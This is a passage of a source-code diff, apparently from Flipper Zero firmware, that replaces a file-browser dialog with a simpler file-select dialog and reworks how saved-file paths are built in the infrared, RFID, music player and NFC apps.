- string_t path; - string_init_set_str(path, (char*)args); - if(string_end_with_str_p(path, InfraredApp::infrared_extension)) { - bool result = remote_manager.load(path); + std::string path = static_cast(args); + std::string remote_name(path, path.find_last_of('/') + 1, path.size()); + auto last_dot = remote_name.find_last_of('.'); + if(last_dot != std::string::npos) { + remote_name.erase(last_dot); + path.erase(path.find_last_of('/')); + bool result = remote_manager.load(path, remote_name); if(result) { current_scene = InfraredApp::Scene::Remote; } else { - printf("Failed to load remote \'%s\'\r\n", string_get_cstr(path)); + printf("Failed to load remote \'%s\'\r\n", remote_name.c_str()); return -1; } } - string_clear(path); } scenes[current_scene]->on_enter(this); @@ -50,7 +51,6 @@ int32_t InfraredApp::run(void* args) { InfraredApp::InfraredApp() { furi_check(InfraredAppRemoteManager::max_button_name_length < get_text_store_size()); - string_init_set_str(file_path, InfraredApp::infrared_directory); notification = static_cast(furi_record_open("notification")); dialogs = static_cast(furi_record_open("dialogs")); infrared_worker = infrared_worker_alloc(); @@ -60,7 +60,6 @@ InfraredApp::~InfraredApp() { infrared_worker_free(infrared_worker); furi_record_close("notification"); furi_record_close("dialogs"); - string_clear(file_path); for(auto& [key, scene] : scenes) delete scene; } diff --git a/applications/infrared/infrared_app.h b/applications/infrared/infrared_app.h index 1cb8b6617..e0db7c51b 100644 --- a/applications/infrared/infrared_app.h +++ b/applications/infrared/infrared_app.h @@ -251,8 +251,6 @@ public: /** Main class destructor, deinitializes all critical objects */ ~InfraredApp(); - string_t file_path; - /** Path to Infrared directory */ static constexpr const char* infrared_directory = "/any/infrared"; /** Infrared files extension (remote files and universal databases) */ diff --git a/applications/infrared/infrared_app_remote_manager.cpp b/applications/infrared/infrared_app_remote_manager.cpp index faeccb39e..4fd645532 100644 --- a/applications/infrared/infrared_app_remote_manager.cpp +++ b/applications/infrared/infrared_app_remote_manager.cpp @@ -1,5 +1,3 @@ -#include "m-string.h" -#include "storage/filesystem_api_defines.h" #include #include "infrared_app_remote_manager.h" #include "infrared/helpers/infrared_parser.h" @@ -13,58 +11,44 @@ #include #include #include "infrared_app.h" -#include static const char* default_remote_name = "remote"; -void InfraredAppRemoteManager::find_vacant_remote_name(string_t name, string_t path) { +std::string InfraredAppRemoteManager::make_full_name( + const std::string& path, + const std::string& remote_name) const { + return std::string("") + path + "/" + remote_name + InfraredApp::infrared_extension; +} + +std::string InfraredAppRemoteManager::find_vacant_remote_name(const std::string& name) { + std::string result_name; Storage* storage = static_cast(furi_record_open("storage")); - string_t base_path; - string_init_set(base_path, path); + FS_Error error = storage_common_stat( + storage, make_full_name(InfraredApp::infrared_directory, name).c_str(), NULL); - if(string_end_with_str_p(base_path, InfraredApp::infrared_extension)) { - size_t filename_start = string_search_rchar(base_path, '/'); - string_left(base_path, filename_start); - } - - string_printf( - base_path, - "%s/%s%s", - string_get_cstr(path), - string_get_cstr(name), - InfraredApp::infrared_extension); - - FS_Error error = storage_common_stat(storage, string_get_cstr(base_path), NULL); - - if(error == FSE_OK) { + if(error == FSE_NOT_EXIST) { + result_name = name; + } else if(error != FSE_OK) { + result_name = std::string(); + } else { /* if suggested name is occupied, try another one (name2, name3, etc) */ - size_t dot = string_search_rchar(base_path, '.'); - string_left(base_path, dot); - - string_t path_temp; - string_init(path_temp); - uint32_t i = 1; + std::string new_name; do { - string_printf( - path_temp, - "%s%u%s", - string_get_cstr(base_path), - ++i, - InfraredApp::infrared_extension); - error = storage_common_stat(storage, string_get_cstr(path_temp), NULL); + new_name = make_full_name(InfraredApp::infrared_directory, name + std::to_string(++i)); + error = storage_common_stat(storage, new_name.c_str(), NULL); } while(error == FSE_OK); - string_clear(path_temp); - if(error == FSE_NOT_EXIST) { - string_cat_printf(name, "%u", i); + result_name = name + std::to_string(i); + } else { + result_name = std::string(); } } - string_clear(base_path); furi_record_close("storage"); + return result_name; } bool InfraredAppRemoteManager::add_button(const char* button_name, const InfraredAppSignal& signal) { @@ -77,23 +61,12 @@ bool InfraredAppRemoteManager::add_remote_with_button( const InfraredAppSignal& signal) { furi_check(button_name != nullptr); - string_t new_name; - string_init_set_str(new_name, default_remote_name); - - string_t new_path; - string_init_set_str(new_path, InfraredApp::infrared_directory); - - find_vacant_remote_name(new_name, new_path); - - string_cat_printf( - new_path, "/%s%s", string_get_cstr(new_name), InfraredApp::infrared_extension); - - remote = std::make_unique(new_path); - remote->name = std::string(string_get_cstr(new_name)); - - string_clear(new_path); - string_clear(new_name); + auto new_name = find_vacant_remote_name(default_remote_name); + if(new_name.empty()) { + return false; + } + remote = std::make_unique(InfraredApp::infrared_directory, new_name); return add_button(button_name, signal); } @@ -120,7 +93,8 @@ const InfraredAppSignal& InfraredAppRemoteManager::get_button_data(size_t index) bool InfraredAppRemoteManager::delete_remote() { Storage* storage = static_cast(furi_record_open("storage")); - FS_Error error = storage_common_remove(storage, string_get_cstr(remote->path)); + FS_Error error = + storage_common_remove(storage, make_full_name(remote->path, remote->name).c_str()); reset_remote(); furi_record_close("storage"); @@ -154,33 +128,22 @@ std::string InfraredAppRemoteManager::get_remote_name() { bool InfraredAppRemoteManager::rename_remote(const char* str) { furi_check(str != nullptr); furi_check(remote.get() != nullptr); - furi_check(!string_empty_p(remote->path)); if(!remote->name.compare(str)) { return true; } - string_t new_name; - string_init_set_str(new_name, str); - find_vacant_remote_name(new_name, remote->path); - - string_t new_path; - string_init_set(new_path, remote->path); - if(string_end_with_str_p(new_path, InfraredApp::infrared_extension)) { - size_t filename_start = string_search_rchar(new_path, '/'); - string_left(new_path, filename_start); + auto new_name = find_vacant_remote_name(str); + if(new_name.empty()) { + return false; } - string_cat_printf( - new_path, "/%s%s", string_get_cstr(new_name), InfraredApp::infrared_extension); Storage* storage = static_cast(furi_record_open("storage")); - FS_Error error = - storage_common_rename(storage, string_get_cstr(remote->path), string_get_cstr(new_path)); - remote->name = std::string(string_get_cstr(new_name)); - - string_clear(new_name); - string_clear(new_path); + std::string old_filename = make_full_name(remote->path, remote->name); + std::string new_filename = make_full_name(remote->path, new_name); + FS_Error error = storage_common_rename(storage, old_filename.c_str(), new_filename.c_str()); + remote->name = new_name; furi_record_close("storage"); return (error == FSE_OK || error == FSE_EXIST); @@ -208,8 +171,10 @@ bool InfraredAppRemoteManager::store(void) { FlipperFormat* ff = flipper_format_file_alloc(storage); - FURI_LOG_I("RemoteManager", "store file: \'%s\'", string_get_cstr(remote->path)); - result = flipper_format_file_open_always(ff, string_get_cstr(remote->path)); + FURI_LOG_I( + "RemoteManager", "store file: \'%s\'", make_full_name(remote->path, remote->name).c_str()); + result = + flipper_format_file_open_always(ff, make_full_name(remote->path, remote->name).c_str()); if(result) { result = flipper_format_write_header_cstr(ff, "IR signals file", 1); } @@ -227,13 +192,13 @@ bool InfraredAppRemoteManager::store(void) { return result; } -bool InfraredAppRemoteManager::load(string_t path) { +bool InfraredAppRemoteManager::load(const std::string& path, const std::string& remote_name) { bool result = false; Storage* storage = static_cast(furi_record_open("storage")); FlipperFormat* ff = flipper_format_file_alloc(storage); - FURI_LOG_I("RemoteManager", "load file: \'%s\'", string_get_cstr(path)); - result = flipper_format_file_open_existing(ff, string_get_cstr(path)); + FURI_LOG_I("RemoteManager", "load file: \'%s\'", make_full_name(path, remote_name).c_str()); + result = flipper_format_file_open_existing(ff, make_full_name(path, remote_name).c_str()); if(result) { string_t header; string_init(header); @@ -245,14 +210,7 @@ bool InfraredAppRemoteManager::load(string_t path) { string_clear(header); } if(result) { - string_t new_name; - string_init(new_name); - - remote = std::make_unique(path); - path_extract_filename(path, new_name, true); - remote->name = std::string(string_get_cstr(new_name)); - - string_clear(new_name); + remote = std::make_unique(path, remote_name); InfraredAppSignal signal; std::string signal_name; while(infrared_parser_read_signal(ff, signal, signal_name)) { diff --git a/applications/infrared/infrared_app_remote_manager.h b/applications/infrared/infrared_app_remote_manager.h index b6f0b170f..31557d54b 100644 --- a/applications/infrared/infrared_app_remote_manager.h +++ b/applications/infrared/infrared_app_remote_manager.h @@ -8,7 +8,6 @@ #include "infrared_app_signal.h" -#include "m-string.h" #include #include @@ -61,19 +60,17 @@ class InfraredAppRemote { /** Name of remote */ std::string name; /** Path to remote file */ - string_t path; + std::string path; public: /** Initialize new remote * * @param path - remote file path + * @param name - new remote name */ - InfraredAppRemote(string_t file_path) { - string_init_set(path, file_path); - } - - ~InfraredAppRemote() { - string_clear(path); + InfraredAppRemote(const std::string& path, const std::string& name) + : name(name) + , path(path) { } }; @@ -81,6 +78,12 @@ public: class InfraredAppRemoteManager { /** Remote instance. There can be 1 remote loaded at a time. */ std::unique_ptr remote; + /** Make full name from remote name + * + * @param remote_name name of remote + * @retval full name of remote on disk + */ + std::string make_full_name(const std::string& path, const std::string& remote_name) const; public: /** Restriction to button name length. Buttons larger are ignored. */ @@ -122,9 +125,9 @@ public: * incremented digit(2,3,4,etc) added to name and check repeated. * * @param name - suggested remote name - * @param path - remote file path + * @retval garanteed free remote name, prefixed with suggested */ - void find_vacant_remote_name(string_t name, string_t path); + std::string find_vacant_remote_name(const std::string& name); /** Get button list * @@ -182,8 +185,8 @@ public: /** Load data from disk into current remote * - * @param path - path to remote file + * @param name - name of remote to load * @retval true if success, false otherwise */ - bool load(string_t path); + bool load(const std::string& path, const std::string& name); }; diff --git a/applications/infrared/scene/infrared_app_scene_edit_rename.cpp b/applications/infrared/scene/infrared_app_scene_edit_rename.cpp index 761da49f3..dc63c64b1 100644 --- a/applications/infrared/scene/infrared_app_scene_edit_rename.cpp +++ b/applications/infrared/scene/infrared_app_scene_edit_rename.cpp @@ -1,6 +1,4 @@ #include "../infrared_app.h" -#include "m-string.h" -#include "toolbox/path.h" void InfraredAppSceneEditRename::on_enter(InfraredApp* app) { InfraredAppViewManager* view_manager = app->get_view_manager(); @@ -23,18 +21,9 @@ void InfraredAppSceneEditRename::on_enter(InfraredApp* app) { enter_name_length = InfraredAppRemoteManager::max_remote_name_length; text_input_set_header_text(text_input, "Name the remote"); - string_t folder_path; - string_init(folder_path); - - if(string_end_with_str_p(app->file_path, InfraredApp::infrared_extension)) { - path_extract_dirname(string_get_cstr(app->file_path), folder_path); - } - ValidatorIsFile* validator_is_file = validator_is_file_alloc_init( - string_get_cstr(folder_path), app->infrared_extension, remote_name.c_str()); + app->infrared_directory, app->infrared_extension, remote_name.c_str()); text_input_set_validator(text_input, validator_is_file_callback, validator_is_file); - - string_clear(folder_path); } text_input_set_result_callback( diff --git a/applications/infrared/scene/infrared_app_scene_remote_list.cpp b/applications/infrared/scene/infrared_app_scene_remote_list.cpp index c72acb6e8..f59ff3e91 100644 --- a/applications/infrared/scene/infrared_app_scene_remote_list.cpp +++ b/applications/infrared/scene/infrared_app_scene_remote_list.cpp @@ -1,5 +1,4 @@ #include "../infrared_app.h" -#include "assets_icons.h" #include "infrared/infrared_app_event.h" #include @@ -9,6 +8,11 @@ void InfraredAppSceneRemoteList::on_enter(InfraredApp* app) { bool result = false; bool file_select_result; auto remote_manager = app->get_remote_manager(); + auto last_selected_remote = remote_manager->get_remote_name(); + const char* last_selected_remote_name = + last_selected_remote.size() ? last_selected_remote.c_str() : nullptr; + auto filename_ts = + std::make_unique(InfraredAppRemoteManager::max_remote_name_length); DialogsApp* dialogs = app->get_dialogs(); InfraredAppViewManager* view_manager = app->get_view_manager(); @@ -16,17 +20,16 @@ void InfraredAppSceneRemoteList::on_enter(InfraredApp* app) { button_menu_reset(button_menu); view_manager->switch_to(InfraredAppViewManager::ViewId::ButtonMenu); - file_select_result = dialog_file_browser_show( + file_select_result = dialog_file_select_show( dialogs, - app->file_path, - app->file_path, + InfraredApp::infrared_directory, InfraredApp::infrared_extension, - true, - &I_ir_10px, - true); + filename_ts->text, + filename_ts->text_size, + last_selected_remote_name); if(file_select_result) { - if(remote_manager->load(app->file_path)) { + if(remote_manager->load(InfraredApp::infrared_directory, std::string(filename_ts->text))) { app->switch_to_next_scene(InfraredApp::Scene::Remote); result = true; } diff --git a/applications/infrared/scene/infrared_app_scene_start.cpp b/applications/infrared/scene/infrared_app_scene_start.cpp index 5efdce7a0..c42ab9fed 100644 --- a/applications/infrared/scene/infrared_app_scene_start.cpp +++ b/applications/infrared/scene/infrared_app_scene_start.cpp @@ -26,8 +26,6 @@ void InfraredAppSceneStart::on_enter(InfraredApp* app) { submenu, "Learn New Remote", SubmenuIndexLearnNewRemote, submenu_callback, app); submenu_add_item(submenu, "Saved Remotes", SubmenuIndexSavedRemotes, submenu_callback, app); submenu_set_selected_item(submenu, submenu_item_selected); - - string_set_str(app->file_path, InfraredApp::infrared_directory); submenu_item_selected = 0; view_manager->switch_to(InfraredAppViewManager::ViewId::Submenu); diff --git a/applications/lfrfid/lfrfid_app.cpp b/applications/lfrfid/lfrfid_app.cpp index 4027a07ea..c2274234b 100644 --- a/applications/lfrfid/lfrfid_app.cpp +++ b/applications/lfrfid/lfrfid_app.cpp @@ -1,7 +1,4 @@ #include "lfrfid_app.h" -#include "assets_icons.h" -#include "furi/common_defines.h" -#include "m-string.h" #include "scene/lfrfid_app_scene_start.h" #include "scene/lfrfid_app_scene_read.h" #include "scene/lfrfid_app_scene_read_success.h" @@ -34,11 +31,9 @@ LfRfidApp::LfRfidApp() , storage{"storage"} , dialogs{"dialogs"} , text_store(40) { - string_init_set_str(file_path, app_folder); } LfRfidApp::~LfRfidApp() { - string_clear(file_path); } void LfRfidApp::run(void* _args) { @@ -47,8 +42,7 @@ void LfRfidApp::run(void* _args) { make_app_folder(); if(strlen(args)) { - string_set_str(file_path, args); - load_key_data(file_path, &worker.key); + load_key_data(args, &worker.key); scene_controller.add_scene(SceneType::Emulate, new LfRfidAppSceneEmulate()); scene_controller.process(100, SceneType::Emulate); } else { @@ -75,49 +69,65 @@ void LfRfidApp::run(void* _args) { } bool LfRfidApp::save_key(RfidKey* key) { + string_t file_name; bool result = false; make_app_folder(); - if(string_end_with_str_p(file_path, app_extension)) { - size_t filename_start = string_search_rchar(file_path, '/'); - string_left(file_path, filename_start); - } + string_init_printf(file_name, "%s/%s%s", app_folder, key->get_name(), app_extension); + result = save_key_data(string_get_cstr(file_name), key); + string_clear(file_name); - string_cat_printf(file_path, "/%s%s", key->get_name(), app_extension); - - result = save_key_data(file_path, key); return result; } bool LfRfidApp::load_key_from_file_select(bool need_restore) { - if(!need_restore) { - string_set_str(file_path, app_folder); - } + TextStore* filename_ts = new TextStore(64); + bool result = false; - bool result = dialog_file_browser_show( - dialogs, file_path, file_path, app_extension, true, &I_125_10px, true); + if(need_restore) { + result = dialog_file_select_show( + dialogs, + app_folder, + app_extension, + filename_ts->text, + filename_ts->text_size, + worker.key.get_name()); + } else { + result = dialog_file_select_show( + dialogs, app_folder, app_extension, filename_ts->text, filename_ts->text_size, NULL); + } if(result) { - result = load_key_data(file_path, &worker.key); + string_t key_str; + string_init_printf(key_str, "%s/%s%s", app_folder, filename_ts->text, app_extension); + result = load_key_data(string_get_cstr(key_str), &worker.key); + string_clear(key_str); } + delete filename_ts; return result; } bool LfRfidApp::delete_key(RfidKey* key) { - UNUSED(key); - return storage_simply_remove(storage, string_get_cstr(file_path)); + string_t file_name; + bool result = false; + + string_init_printf(file_name, "%s/%s%s", app_folder, key->get_name(), app_extension); + result = storage_simply_remove(storage, string_get_cstr(file_name)); + string_clear(file_name); + + return result; } -bool LfRfidApp::load_key_data(string_t path, RfidKey* key) { +bool LfRfidApp::load_key_data(const char* path, RfidKey* key) { FlipperFormat* file = flipper_format_file_alloc(storage); bool result = false; string_t str_result; string_init(str_result); do { - if(!flipper_format_file_open_existing(file, string_get_cstr(path))) break; + if(!flipper_format_file_open_existing(file, path)) break; // header uint32_t version; @@ -139,7 +149,7 @@ bool LfRfidApp::load_key_data(string_t path, RfidKey* key) { break; loaded_key.set_data(key_data, loaded_key.get_type_data_count()); - path_extract_filename(path, str_result, true); + path_extract_filename_no_ext(path, str_result); loaded_key.set_name(string_get_cstr(str_result)); *key = loaded_key; @@ -156,12 +166,12 @@ bool LfRfidApp::load_key_data(string_t path, RfidKey* key) { return result; } -bool LfRfidApp::save_key_data(string_t path, RfidKey* key) { +bool LfRfidApp::save_key_data(const char* path, RfidKey* key) { FlipperFormat* file = flipper_format_file_alloc(storage); bool result = false; do { - if(!flipper_format_file_open_always(file, string_get_cstr(path))) break; + if(!flipper_format_file_open_always(file, path)) break; if(!flipper_format_write_header_cstr(file, app_filetype, 1)) break; if(!flipper_format_write_comment_cstr(file, "Key type can be EM4100, H10301 or I40134")) break; diff --git a/applications/lfrfid/lfrfid_app.h b/applications/lfrfid/lfrfid_app.h index 3f8209a1d..dddfb753a 100644 --- a/applications/lfrfid/lfrfid_app.h +++ b/applications/lfrfid/lfrfid_app.h @@ -1,5 +1,4 @@ #pragma once -#include "m-string.h" #include #include @@ -77,8 +76,6 @@ public: TextStore text_store; - string_t file_path; - void run(void* args); static const char* app_folder; @@ -89,8 +86,8 @@ public: bool load_key_from_file_select(bool need_restore); bool delete_key(RfidKey* key); - bool load_key_data(string_t path, RfidKey* key); - bool save_key_data(string_t path, RfidKey* key); + bool load_key_data(const char* path, RfidKey* key); + bool save_key_data(const char* path, RfidKey* key); void make_app_folder(); }; diff --git a/applications/lfrfid/scene/lfrfid_app_scene_save_name.cpp b/applications/lfrfid/scene/lfrfid_app_scene_save_name.cpp index d7ba2c9ed..d460724e2 100644 --- a/applications/lfrfid/scene/lfrfid_app_scene_save_name.cpp +++ b/applications/lfrfid/scene/lfrfid_app_scene_save_name.cpp @@ -1,14 +1,11 @@ #include "lfrfid_app_scene_save_name.h" -#include "m-string.h" #include -#include void LfRfidAppSceneSaveName::on_enter(LfRfidApp* app, bool /* need_restore */) { const char* key_name = app->worker.key.get_name(); bool key_name_empty = !strcmp(key_name, ""); if(key_name_empty) { - string_set_str(app->file_path, app->app_folder); set_random_name(app->text_store.text, app->text_store.text_size); } else { app->text_store.set("%s", key_name); @@ -24,17 +21,10 @@ void LfRfidAppSceneSaveName::on_enter(LfRfidApp* app, bool /* need_restore */) { app->worker.key.get_name_length(), key_name_empty); - string_t folder_path; - string_init(folder_path); - - path_extract_dirname(string_get_cstr(app->file_path), folder_path); - ValidatorIsFile* validator_is_file = - validator_is_file_alloc_init(string_get_cstr(folder_path), app->app_extension, key_name); + validator_is_file_alloc_init(app->app_folder, app->app_extension, key_name); text_input->set_validator(validator_is_file_callback, validator_is_file); - string_clear(folder_path); - app->view_controller.switch_to(); } diff --git a/applications/music_player/music_player.c b/applications/music_player/music_player.c index 9b5dda0fa..6dfef4920 100644 --- a/applications/music_player/music_player.c +++ b/applications/music_player/music_player.c @@ -1,5 +1,3 @@ -#include "assets_icons.h" -#include "m-string.h" #include #include @@ -300,23 +298,23 @@ int32_t music_player_app(void* p) { if(p) { string_cat_str(file_path, p); } else { - string_set_str(file_path, MUSIC_PLAYER_APP_PATH_FOLDER); - + char file_name[256] = {0}; DialogsApp* dialogs = furi_record_open("dialogs"); - bool res = dialog_file_browser_show( + bool res = dialog_file_select_show( dialogs, - file_path, - file_path, + MUSIC_PLAYER_APP_PATH_FOLDER, MUSIC_PLAYER_APP_EXTENSION, - true, - &I_music_10px, - false); - + file_name, + 255, + NULL); furi_record_close("dialogs"); if(!res) { FURI_LOG_E(TAG, "No file selected"); break; } + string_cat_str(file_path, MUSIC_PLAYER_APP_PATH_FOLDER); + string_cat_str(file_path, "/"); + string_cat_str(file_path, file_name); } if(!music_player_worker_load(music_player->worker, string_get_cstr(file_path))) { diff --git a/applications/nfc/nfc_device.c b/applications/nfc/nfc_device.c index ca3fc45aa..63f0c3ccb 100644 --- a/applications/nfc/nfc_device.c +++ b/applications/nfc/nfc_device.c @@ -1,6 +1,4 @@ #include "nfc_device.h" -#include "assets_icons.h" -#include "m-string.h" #include "nfc_types.h" #include @@ -16,7 +14,6 @@ NfcDevice* nfc_device_alloc() { NfcDevice* nfc_dev = malloc(sizeof(NfcDevice)); nfc_dev->storage = furi_record_open("storage"); nfc_dev->dialogs = furi_record_open("dialogs"); - string_init(nfc_dev->load_path); return nfc_dev; } @@ -25,7 +22,6 @@ void nfc_device_free(NfcDevice* nfc_dev) { nfc_device_clear(nfc_dev); furi_record_close("storage"); furi_record_close("dialogs"); - string_clear(nfc_dev->load_path); free(nfc_dev); } @@ -734,24 +730,11 @@ void nfc_device_set_name(NfcDevice* dev, const char* name) { strlcpy(dev->dev_name, name, NFC_DEV_NAME_MAX_LEN); } -static void nfc_device_get_path_without_ext(string_t orig_path, string_t shadow_path) { - // TODO: this won't work if there is ".nfc" anywhere in the path other than - // at the end - size_t ext_start = string_search_str(orig_path, NFC_APP_EXTENSION); - string_set_n(shadow_path, orig_path, 0, ext_start); -} - -static void nfc_device_get_shadow_path(string_t orig_path, string_t shadow_path) { - nfc_device_get_path_without_ext(orig_path, shadow_path); - string_cat_printf(shadow_path, "%s", NFC_APP_SHADOW_EXTENSION); -} - static bool nfc_device_save_file( NfcDevice* dev, const char* dev_name, const char* folder, - const char* extension, - bool use_load_path) { + const char* extension) { furi_assert(dev); bool saved = false; @@ -761,19 +744,10 @@ static bool nfc_device_save_file( string_init(temp_str); do { - if(use_load_path && !string_empty_p(dev->load_path)) { - // Get directory name - path_extract_dirname(string_get_cstr(dev->load_path), temp_str); - // Create nfc directory if necessary - if(!storage_simply_mkdir(dev->storage, string_get_cstr(temp_str))) break; - // Make path to file to save - string_cat_printf(temp_str, "/%s%s", dev_name, extension); - } else { - // Create nfc directory if necessary - if(!storage_simply_mkdir(dev->storage, NFC_APP_FOLDER)) break; - // First remove nfc device file if it was saved - string_printf(temp_str, "%s/%s%s", folder, dev_name, extension); - } + // Create nfc directory if necessary + if(!storage_simply_mkdir(dev->storage, NFC_APP_FOLDER)) break; + // First remove nfc device file if it was saved + string_printf(temp_str, "%s/%s%s", folder, dev_name, extension); // Open file if(!flipper_format_file_open_always(file, string_get_cstr(temp_str))) break; // Write header @@ -812,12 +786,12 @@ static bool nfc_device_save_file( } bool nfc_device_save(NfcDevice* dev, const char* dev_name) { - return nfc_device_save_file(dev, dev_name, NFC_APP_FOLDER, NFC_APP_EXTENSION, true); + return nfc_device_save_file(dev, dev_name, NFC_APP_FOLDER, NFC_APP_EXTENSION); } bool nfc_device_save_shadow(NfcDevice* dev, const char* dev_name) { dev->shadow_file_exist = true; - return nfc_device_save_file(dev, dev_name, NFC_APP_FOLDER, NFC_APP_SHADOW_EXTENSION, true); + return nfc_device_save_file(dev, dev_name, NFC_APP_FOLDER, NFC_APP_SHADOW_EXTENSION); } static bool nfc_device_load_data(NfcDevice* dev, string_t path) { @@ -831,7 +805,9 @@ static bool nfc_device_load_data(NfcDevice* dev, string_t path) { do { // Check existance of shadow file - nfc_device_get_shadow_path(path, temp_str); + size_t ext_start = string_search_str(path, NFC_APP_EXTENSION); + string_set_n(temp_str, path, 0, ext_start); + string_cat_printf(temp_str, "%s", NFC_APP_SHADOW_EXTENSION); dev->shadow_file_exist = storage_common_stat(dev->storage, string_get_cstr(temp_str), NULL) == FSE_OK; // Open shadow file if it exists. If not - open original @@ -888,16 +864,15 @@ bool nfc_device_load(NfcDevice* dev, const char* file_path) { furi_assert(file_path); // Load device data - string_set_str(dev->load_path, file_path); - bool dev_load = nfc_device_load_data(dev, dev->load_path); + string_t path; + string_init_set_str(path, file_path); + bool dev_load = nfc_device_load_data(dev, path); if(dev_load) { // Set device name - string_t filename; - string_init(filename); - path_extract_filename_no_ext(file_path, filename); - nfc_device_set_name(dev, string_get_cstr(filename)); - string_clear(filename); + path_extract_filename_no_ext(file_path, path); + nfc_device_set_name(dev, string_get_cstr(path)); } + string_clear(path); return dev_load; } @@ -905,19 +880,23 @@ bool nfc_device_load(NfcDevice* dev, const char* file_path) { bool nfc_file_select(NfcDevice* dev) { furi_assert(dev); - // Input events and views are managed by file_browser - bool res = dialog_file_browser_show( - dev->dialogs, dev->load_path, dev->load_path, NFC_APP_EXTENSION, true, &I_Nfc_10px, true); + // Input events and views are managed by file_select + bool res = dialog_file_select_show( + dev->dialogs, + NFC_APP_FOLDER, + NFC_APP_EXTENSION, + dev->file_name, + sizeof(dev->file_name), + dev->dev_name); if(res) { - string_t filename; - string_init(filename); - path_extract_filename(dev->load_path, filename, true); - strncpy(dev->dev_name, string_get_cstr(filename), NFC_DEV_NAME_MAX_LEN); - res = nfc_device_load_data(dev, dev->load_path); + string_t dev_str; + // Get key file path + string_init_printf(dev_str, "%s/%s%s", NFC_APP_FOLDER, dev->file_name, NFC_APP_EXTENSION); + res = nfc_device_load_data(dev, dev_str); if(res) { - nfc_device_set_name(dev, dev->dev_name); + nfc_device_set_name(dev, dev->file_name); } - string_clear(filename); + string_clear(dev_str); } return res; @@ -935,10 +914,9 @@ void nfc_device_clear(NfcDevice* dev) { nfc_device_data_clear(&dev->dev_data); memset(&dev->dev_data, 0, sizeof(dev->dev_data)); dev->format = NfcDeviceSaveFormatUid; - string_set_str(dev->load_path, NFC_APP_FOLDER); } -bool nfc_device_delete(NfcDevice* dev, bool use_load_path) { +bool nfc_device_delete(NfcDevice* dev) { furi_assert(dev); bool deleted = false; @@ -947,20 +925,12 @@ bool nfc_device_delete(NfcDevice* dev, bool use_load_path) { do { // Delete original file - if(use_load_path && !string_empty_p(dev->load_path)) { - string_set(file_path, dev->load_path); - } else { - string_printf(file_path, "%s/%s%s", NFC_APP_FOLDER, dev->dev_name, NFC_APP_EXTENSION); - } + string_init_printf(file_path, "%s/%s%s", NFC_APP_FOLDER, dev->dev_name, NFC_APP_EXTENSION); if(!storage_simply_remove(dev->storage, string_get_cstr(file_path))) break; // Delete shadow file if it exists if(dev->shadow_file_exist) { - if(use_load_path && !string_empty_p(dev->load_path)) { - nfc_device_get_shadow_path(dev->load_path, file_path); - } else { - string_printf( - file_path, "%s/%s%s", NFC_APP_FOLDER, dev->dev_name, NFC_APP_SHADOW_EXTENSION); - } + string_printf( + file_path, "%s/%s%s", NFC_APP_FOLDER, dev->dev_name, NFC_APP_SHADOW_EXTENSION); if(!storage_simply_remove(dev->storage, string_get_cstr(file_path))) break; } deleted = true; @@ -974,29 +944,19 @@ bool nfc_device_delete(NfcDevice* dev, bool use_load_path) { return deleted; } -bool nfc_device_restore(NfcDevice* dev, bool use_load_path) { +bool nfc_device_restore(NfcDevice* dev) { furi_assert(dev); furi_assert(dev->shadow_file_exist); bool restored = false; string_t path; - string_init(path); - do { - if(use_load_path && !string_empty_p(dev->load_path)) { - nfc_device_get_shadow_path(dev->load_path, path); - } else { - string_printf( - path, "%s/%s%s", NFC_APP_FOLDER, dev->dev_name, NFC_APP_SHADOW_EXTENSION); - } + string_init_printf( + path, "%s/%s%s", NFC_APP_FOLDER, dev->dev_name, NFC_APP_SHADOW_EXTENSION); if(!storage_simply_remove(dev->storage, string_get_cstr(path))) break; dev->shadow_file_exist = false; - if(use_load_path && !string_empty_p(dev->load_path)) { - string_set(path, dev->load_path); - } else { - string_printf(path, "%s/%s%s", NFC_APP_FOLDER, dev->dev_name, NFC_APP_EXTENSION); - } + string_printf(path, "%s/%s%s", NFC_APP_FOLDER, dev->dev_name, NFC_APP_EXTENSION); if(!nfc_device_load_data(dev, path)) break; restored = true; } while(0); diff --git a/applications/nfc/nfc_device.h b/applications/nfc/nfc_device.h index 400f6c363..215f637fa 100644 --- a/applications/nfc/nfc_device.h +++ b/applications/nfc/nfc_device.h @@ -12,6 +12,7 @@ #include #define NFC_DEV_NAME_MAX_LEN 22 +#define NFC_FILE_NAME_MAX_LEN 120 #define NFC_READER_DATA_MAX_SIZE 64 #define NFC_APP_FOLDER "/any/nfc" @@ -56,7 +57,7 @@ typedef struct { DialogsApp* dialogs; NfcDeviceData dev_data; char dev_name[NFC_DEV_NAME_MAX_LEN + 1]; - string_t load_path; + char file_name[NFC_FILE_NAME_MAX_LEN]; NfcDeviceSaveFormat format; bool shadow_file_exist; } NfcDevice; @@ -79,6 +80,6 @@ void nfc_device_data_clear(NfcDeviceData* dev); void nfc_device_clear(NfcDevice* dev); -bool nfc_device_delete(NfcDevice* dev, bool use_load_path); +bool nfc_device_delete(NfcDevice* dev); -bool nfc_device_restore(NfcDevice* dev, bool use_load_path); +bool nfc_device_restore(NfcDevice* dev); diff --git a/applications/nfc/scenes/nfc_scene_delete.c b/applications/nfc/scenes/nfc_scene_delete.c index 1946b9290..e8ba3e440 100755 --- a/applications/nfc/scenes/nfc_scene_delete.c +++ b/applications/nfc/scenes/nfc_scene_delete.c @@ -73,7 +73,7 @@ bool nfc_scene_delete_on_event(void* context, SceneManagerEvent event) { if(event.event == GuiButtonTypeLeft) { return scene_manager_previous_scene(nfc->scene_manager); } else if(event.event == GuiButtonTypeRight) { - if(nfc_device_delete(nfc->dev, true)) { + if(nfc_device_delete(nfc->dev)) { scene_manager_next_scene(nfc->scene_manager, NfcSceneDeleteSuccess); } else { scene_manager_search_and_switch_to_previous_scene( diff --git a/applications/nfc/scenes/nfc_scene_save_name.c b/applications/nfc/scenes/nfc_scene_save_name.c index d5e05472a..e95c97eb4 100755 --- a/applications/nfc/scenes/nfc_scene_save_name.c +++ b/applications/nfc/scenes/nfc_scene_save_name.c @@ -1,8 +1,6 @@ #include "../nfc_i.h" -#include "m-string.h" #include #include -#include void nfc_scene_save_name_text_input_callback(void* context) { Nfc* nfc = context; @@ -31,22 +29,11 @@ void nfc_scene_save_name_on_enter(void* context) { NFC_DEV_NAME_MAX_LEN, dev_name_empty); - string_t folder_path; - string_init(folder_path); - - if(string_end_with_str_p(nfc->dev->load_path, NFC_APP_EXTENSION)) { - path_extract_dirname(string_get_cstr(nfc->dev->load_path), folder_path); - } else { - string_set_str(folder_path, NFC_APP_FOLDER); - } - - ValidatorIsFile* validator_is_file = validator_is_file_alloc_init( - string_get_cstr(folder_path), NFC_APP_EXTENSION, nfc->dev->dev_name); 